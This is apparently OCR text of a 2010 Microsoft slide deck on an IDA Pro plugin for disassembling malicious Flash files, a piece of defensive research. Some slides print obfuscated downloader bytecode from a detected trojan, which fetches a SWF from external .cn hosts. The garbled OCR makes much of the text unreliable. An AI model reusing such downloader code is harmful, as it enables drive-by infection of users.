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Plenty of malicious Flash files on the internet:
Redirectors(drive-by)/malvertising/social engineering
Complex vulnerability exploitation in ActionScript

2 patched vulnerabilities exploited in the wild:

CVE-2007-0071 (patched Apr08) — “the most
commonly exploited browser vulnerability in 1H09” *

CVE-2009-1862 (patched Jul09) — ActionScript 3 based
The need for researcher-oriented analysis tools

* (MS Security Intelligence Report v7)
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Integrate the functionality into a tool used and
trusted by researchers: IDA Pro

Strong disassembly platform
Fast learning curve
Great expandability
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Open specification format
http://www.adobe.com/devnet/swf/

File format(v.10)
Header
(Tagged data structures)+
End Tag

Tags immediately follow each other, un-
indexed
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Signature
Uncompressed Size
Version
0123456789 LECDEF

O0O00h: 53 0A oo =T ] ! E 0
0010h: =)

O0Z0h:

0030h:

Oo040h:
0050h:
Ooa0h:
0070h:
Oo0s0h:
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ActionScript2 supported by all versions.

Tags that (can) contain bytecode:

DolnitAction, DoAction, DefineButton, DefineButton?2,
PlaceObject2, PlaceObject3, DefineSprite.

Bytecode has the ability to jump between tags so
virtually any tag can contain executable code but

only the above tags can be entry points.
AVM1 cannot execute code from memory.
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ActionScript3 supported from version 9 onwards.

Tags that (can) contain bytecode:
DoABC, RawABC.

Bytecode is not allowed to jump outside its
defined boundaries.

AVM?2 can execute bytecode from memory.
AS2 and AS3 cannot coexist within an SWF file!
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S;yzz::je:l A[\rz:;/:is Interactive Platform i'rglzs;l:;:
Flasm AS2 Static No C/C++ Low
Nemo440 AS3 Static No SWF No
SWFIntruder AS2 Dynamic Yes SWF/JS No
SwfDump AS2/AS3 Static No C/C++ Low
Wepawet AS2/AS3 Dynamic No Web service No

* Signature friendly : direct correlation binary bytecode <-> disassembly
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Flasm Disassembly dump

i 3075a552e1ef3762f15bF31115740d541efe284f.swfasm - Notepad [_ (O] x|
File Edit Format ‘Wiew Help

mowie '30753552elef37azflobf31115740d541lefe284f. tmp~' compressed /7 flash 8, total frames: 1, frame N
rate: 12 fps, 550x400 px

A4 unknown tag 255 length 1
A4 unknown tag 253 Tength 314

frame 0
00000LAES function 41" ()
QO0001L73 push 'L’
Qo00017e push 214
Q0000181 push 511
Qo000LES modulo
Q0000184 push 5
Qoo00lsz multiply
00000193 setvariahle
Q0000154 push 'L
Q00001948 getvariahle
[elelelelonRel2] return

11
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SwfDump Disassembly dump

] 336ab542d1f1b5d00d3db42a3e24228ce2fbfd35.swidmp - Notepad M=
File Edit Format View Help
constructor ¥ <q>[pub1ic]::ga11eyLDrem=ga11eyLorem/ alleyLorem{J¢0 params, 0 optionall ZEJ
[stack:8 locals:3 scope:l0-15 flags: nee _act1vation?
slot 2: war <gs=[packageinternal]::ibutsureEver (<g=[public]flash.utils: iBytedrray
s1lot 4: wvar <gs=[packageinternal]::alsoMesdword: <g-[public]iistring
slot 5: war <gs=[packageinternal]::i:i<g=[public]: iHumber
slot 6: war <gs=[packageinternal]::notButTheory:<g=[public]flash. display::Loader
s1lot 3: war <g=[packageinternal]::hereHumourH:<g=[public]: thumber
slot 1: war <g=[packageinternal]::sarr:<gs[public]: rarray
000007 + 0:0 debugfile "PrydOB1NAONSENDON B0 D45 0N S8 0N a0 dOh abh Mo PALEVD; ;galleylaorem. as”
000013 + 0:0 debugline 1
000023 + 0:0 getlocal_0
000031 + 1:0 pushscaope
0000471 + 0:1 newactivation
000031 + 1:1 dup
000060 4+ 2:1 setlocal_l
000071 + 1:1 pushscaope
00008) + 0:2 getsc0€eobject 1
Qo0o0%) + 1:2 pushnull
00010} + 2:2 coerce <ge[public]flash.display: Loader <

12
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I
4444444

File  Wiew  Help

i) ) &) 1 8 |9
Objects: galleyLorem
¥ OB SWF [Ci\Test\836a

¥ H2 (default)
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Disassembles both AS2 and AS3

Leverages IDA disassembly platform
Interactive static disassembly
Graph overview
Code islands discovery(AS2)

Signature-friendly
Fast access to bytecode and tags.

14
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Load file G:workswihas2yfilm_duster_02_545<306. swf as . . . .
5 ‘ i <— File type is automatically recognized

Processar type

Intel 8086 processors: metapc j Setl < Processor type Wi” be Set by |0ader
Analysi
Loading zegment IUHUDDDDDDD ¥ Enabled
Loading offset |Dxnuunuunu v Indicator enabled
Option

[ Create segments Kermel options] |
[ Load resources

[v Rename DLL enties

[~ Marual load Kermel options2 |
¥ | Fill seament gaps

[ Loading options Processor options |
I~ Create FLAT group

System DLL directory IC:\W’indows

Corcel | Hep | <— Press OK to start.

15
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E:IDA - Ghywork' swh, as2'film_duster_02_5454306.swf
File Edit Jump Search “iew Options ‘Windows Help

\p’_l] Functions window

o X|| X 1D View-t, | X Hex Viewd, | X B Stuctures | X En Enums | x i Imponsl i

=~  Function name

-

S Spite18__Dolnithction
M) Sprite17__Dalnithation
| Sprite16__Dalnithction
M Sprite15__Dolnithction
M) Spite14__Dolnitéction
M Sprite13__Dalnithation
| Sprite12__Dalnithction
\LEI] Sprite11__Dalnikhction
M) Spite10__Dalnitéction

Mame Address Ordinal
| 2B Framef-Dadction 00027798 )

éa ButtondE::0OrReleaze 000Z78EY

gﬁ Frame15::Doéction 00027334 158

B Frame75:0 abction 5

-3 01 ot

000279C9
0 9

PlaceObject2:88827CB? .actionrecord Object9::0OnConstruct
PlaceObject2:88827CB9 {

constantpool BEh
8: "autoPlay"

~

‘I_iijiectS [T B Sprite52: Framel: Dodiction 00027ER3
"@ Frame  Dofction gﬁ SpriteS5:: Framel: D oAction nnozgz2c
1| Frame7__Dabietion 3B Spite72: Frame0:Dadction 000284F7 : "skinAutoHid
\lﬂl mee?a_ Dodction B C ka0 Dol P ki nAN7oeac LI : “totalTime™
\lfﬂ Frame?S_DDAction Dh : "UE;S]-OH_“_G
— oK I Caneel Hel Search ¢ "volume™
‘Eﬂ Frameb__Dadction Snee = ik | push
‘EI] Frame15__Daodction \L' EE "autoPlay"
) Frame_Dabiction e 2 4 true B
N5 Buttondb_Orelease * PlaceObject?:88827D5E setvariable
- - * PlaceObject2?:88827D5F push |
KN — C 2l | o
|Line 48 of 56 [uniknown  [Do027CES: Objects_GnConstruct
Output window [m] ‘
[au: idie Down |Disk: 39GE | 4

CTRL+E for all
bytecode
entry points.
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= Choose segment to jump [_ (O] x|

Mame Start End Blw|® | DL | Aign Base | Type | Class A0 |- CTR L+S to ju mp
ﬁ Framel abel Q00z27aeo Q002731 7 L byte 004F  public  DATA 32 €<

P ShowFrame 0o0279c 000279C3 o7 L byte O0BO  public DaTa 32 to a nOther Tag
ﬁDDACtiDn Q0027acs Q0027CaF 7 L byte 00e1 public CODE 32

! Placel] biect2 Q0027CaF ao0270Ca 7?7 L byte public CODE 32

ﬁDefineShapﬁ ao02yoCa Q00270Fo 7 L byte 00B3  publc DATA 32 1

SPDefineSprite 000270F0 0O0Z7EOE o7 L byte O0B4  public DaTA 32

ﬂExporL&ssets Q0027E0E Q002720 TP 7 . L bute 00BS  publc DATA 32

ﬁDefineShape Qo027e20 Q0027E43 TP 7 . L bute O0BE  public DATA 32 .

4| | 3|

ak. I Cancel Help Search

Line 175 of 267 v
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push yxet1t
push Itk
getvariable
push 32ah
subtract
setvariable
CDHSEantpﬂﬂl 5 ; START OF FUHCTION CHUHK FOR DoAction_169
A
1: */:3version” loc 136:
2: “http://uwy Sews cn/" push
3: "i.suf" Th
. 4 Y _root” *7:3version”
jump loc_1BD getvariable
definelocal

push
“http://uww Sakewe .cn/"
uyn

getvariable

add2

push "iswEr

add2

push *_root™

getvariable

geturl?2 method:GET, target:browser, vars:no
stop

jump loc_62C

TrojanDownloader:Win32/Swif.AB
(obfuscated AS2 bytecode)
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II—_H_IIII__;ﬂ

L]l Functions windaw & X|| x . IDA Vigwd | x . Hex View-4 | X ﬂ Structures | X En Enumnz | X % Imnpaorts | X 33 Exports |

Function name Tag253:0008013F "http:/ /7w Mg cn/" -
ﬁ&FrameD_DoAction Tag253:00800813F Tl
* Tag253:9800008146 getuarlahle
k * Tag253:00080147 add2
Unknown Tag * Tag253: 00800148 push  "i.suf" I
. * Tag253:88808814D add2
containing * Tag253: 8088014E push " root™
b t d * Tag253:800088153 getvariable
V €ecoae * Tag253:00080154 geturl?2 method:GET, target:browser, va
= Choose segment to jump
Mame Start End L Type
ﬂHeader 00aoooona 00000015 L 00m public DATA 32 FFF... F- D
ﬂFileAttributes 00000015 000000718 L 0002 public  DATA 32 FFF...
ﬂSetBackgroundEolor 00oooo e ooooacz2a L 0003 public  DATA 32 FFF...
ﬂTag255 DDDDDD2D DDDDDD23 L 0004 public  DATA 32 FFF...
i 130753 00000023 00000163 L 0005 public 32 T
ﬂDuﬁctlon 00aom 83 DDDDDB&’-\ L 0005 public  CODE 32 FFF...
I I AP ShowFrame 00000662, 0000066C L 0007 public  DATA 32 FFF... ;I LI
oK I Cancel Search _’I
Dutput O
[ e |ne5of7 Y Y
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Internals
2 Processor Modules: AS2 & AS3
1 Loader Module
Instruction sets auto comments

Installation

copy swf _as2.w32, swf _as3.w32 ->.../IDA/procs/
copy swfldr.ldw .../IDA/loaders/

21



5/26/2010

Microsoft” Malware Protection Center
Threat Research and Response

AS2 Processor Module
Disassemble AVM1 bytecode
Create cross-references
Track constant pools
Resolve constant pool indexes

Implementation challenges
Max AS2 instr. operands = 65535

22
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AS3 Processor Module
Disassemble AVM2 bytecode
Create cross-references
Communicate with loader
Resolve constant pool indexes
Resolve class/method/property names
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SWEF loader plugin
Decompress CWF into SWF
Choose and communicate with processor module
Load tags as segments
Parse ABC structures(AS3)
Create functions and entry-points

24
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Better Try/Catch/Finally highlighting
Better AS2 functions handling

Visualize relations between bytecode and
movie frames

Implement a decompile feature

25
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Your, potentialOur, passion.;
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